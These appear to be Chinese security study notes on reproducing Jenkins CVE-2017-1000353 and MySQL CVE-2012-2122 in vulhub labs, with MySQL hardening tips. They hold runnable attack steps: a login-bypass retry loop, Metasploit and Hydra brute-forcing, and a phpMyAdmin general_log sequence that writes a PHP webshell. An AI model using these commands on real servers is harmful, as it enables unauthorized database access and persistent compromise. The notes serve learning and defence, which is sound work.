Jenkins Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作.
JenkinsMiner加密货币挖矿软件攻击我国某机构 https://paper.tuisec.win/detail/a67d6915379bb86
序列化和反序列化 序列化就是把对象转成字节流，便于保存在内存、文件、数据库中；反序列化即逆过程，由字节流还原成对象。
Jenkins-CI 远程代码执行漏洞
所有Jenkins主版本均受到影响(包括<=2.56版本) 所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)
环境下载：https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353 复现： 生成序列化字符串 java -jar payload.jar jenkins_poc.ser "touch /tmp/jenkins_0day"
发送数据包，执行命令 Python exploit.py
安全加固
mysql 漏洞 CVE-20120-2122 输入的密码会与期望的正确密码比较，由于不正确的处理,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库,概率为1/256 https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/ 受影响版本 MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
CVE-2012-2122漏洞环境 docker-compose.yml version: '2' services: mysql: image: vulhub/mysql:5.5.23 ports: - "3306:3306”
启动环境： docker-compose up -d
CVE-2012-2122利用
Bash:
for i in seq 1 1000; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
Metasploit: use auxiliary/scanner/mysql/mysql_authbypass_hashdump
Python: #!/usr/bin/python import subprocess while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
MySQL信息探测
1.nmap
2.auxiliary/scanner/mysql/mysql_version
3.Hydra爆破MySQL密码
mysql注入利用
1.读文件
2.读数据库密码
3.在一定条件下可以 into outfile into dumpfile
4.SQLAP 工具辅助注入
mysql安全加固
1.检查是否避免运维账号共享
2.检查是否使用默认端口 （作用不大） 一定外网的时候一定限制ip访问
3.检查是否设置禁止mysql对本地文件存取 revoke file on . from 'user'@'127.0.0.1';
4.检查test库是否已经被删除 （新版本的没有这个库了 ）
show databases like 'test';
show database "test";
5.检查默认管理员账号是否已更名
update user set user="newUserName" where user="root";
6.设置mysql守护进程专用最小特权账户
ps -ef|grep "^mysql.$"
7.禁用mysql命令历史记录
将mysql_histfile 环境变量设置为 /dev/null,.bash_profile,export
mysql)histfile=/dev/null
ln -s /dev/null $home/.mysql_history
8.备份策略 （最好备份到异地，本地不要保留，防止直接盗取备份文件）
9.确保仅管理员具有完全数据库访问权限
网站配置不允许使用root权限
错误方式 grant all on . to user identifiend by 'mysqlpass';
正确方式 grant all on db1. to user identifiend by 'mysqlpass';
phpmyadmin
方式 1.弱口令问题 2.通过日志获取webshell
危害： 获取数据库信息
获得websehll
通过general log获取webshell
mysql> show variables like '%general%'; mysql> set global general_log = on;
mysql> set global general_log_file ='网站路径’; mysql> select ‘<?php phpinfo(); ?>;
mysql> set global general_log_file =‘还原’; mysql> set global general_log = off;
